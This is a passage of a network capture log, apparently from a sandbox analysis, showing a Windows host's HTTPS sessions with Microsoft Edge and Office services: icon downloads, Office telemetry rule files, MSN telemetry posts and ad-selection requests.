2024-11-21 23:11:56 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:56 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5134cf6a-301e-006f-2d59-3cc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231156Z-174c587ffdfks6tlhC1TEBeza400000000qg000000009zmc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:56 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231156Z-178bfbc474bv7whqhC1NYC1fg4000000027g000000001paw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49880	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:55 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:56 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:56 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 24d32a19-101e-0073-7a47-3c18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231156Z-174c587ffdfx984chC1TEB676g00000000qg000000001e7g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49877	13.107.246.40	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:56 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:56 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:56 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 6d9d1516-001e-0001-3d59-3c69fa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T231156Z-178bfbc474brk967hC1NYCfu6000000001wg00000000nfha Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:56 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:56 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231156Z-174c587ffdfmlsmvhC1TEBvyks00000000ug00000000427t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:56 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:56 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:57 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231157Z-178bfbc474bscnbchC1NYCe7eg00000002bg000000004c71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49884	52.168.117.168	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230714886&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3805 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1
2024-11-21 23:11:57 UTC	3805	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 33 3a 31 31 3a 35 34 2e 38 38 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 38 66 65 32 64 66 32 2d 64 65 39 66 2d 34 63 63 66 2d 38 61 38 34 2d 39 37 38 34 63 62 30 31 32 63 39 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 31 36 35 36 37 37 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-21T23:11:54.882Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"18fe2df2-de9f-4ccf-8a84-9784cb012c92","epoch":"2616567796"},"app":{"locale
2024-11-21 23:11:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9f165108d04944ba80d6d8852520c503&HASH=9f16&LV=202411&V=4&LU=1732230717769; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 23:11:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=255a2382e79142e5b3694d0f7ce668f2; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 23:41:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2883 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 23:11:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:58 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:57 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231157Z-174c587ffdftv9hphC1TEBm29w00000000gg000000002v5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:11:58 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49885	20.75.60.91	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=306F509DFB216A50056745A3FA536B36&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=97998c668f92419a8bf10c5e9eaf675f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1
2024-11-21 23:11:58 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Nov 2024 23:11:57 GMT Connection: close
2024-11-21 23:11:58 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49893	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:57 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 23:11:58 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=179953 Expires: Sun, 24 Nov 2024 01:11:11 GMT Date: Thu, 21 Nov 2024 23:11:58 GMT Connection: close
2024-11-21 23:11:58 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49891	23.57.90.111	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
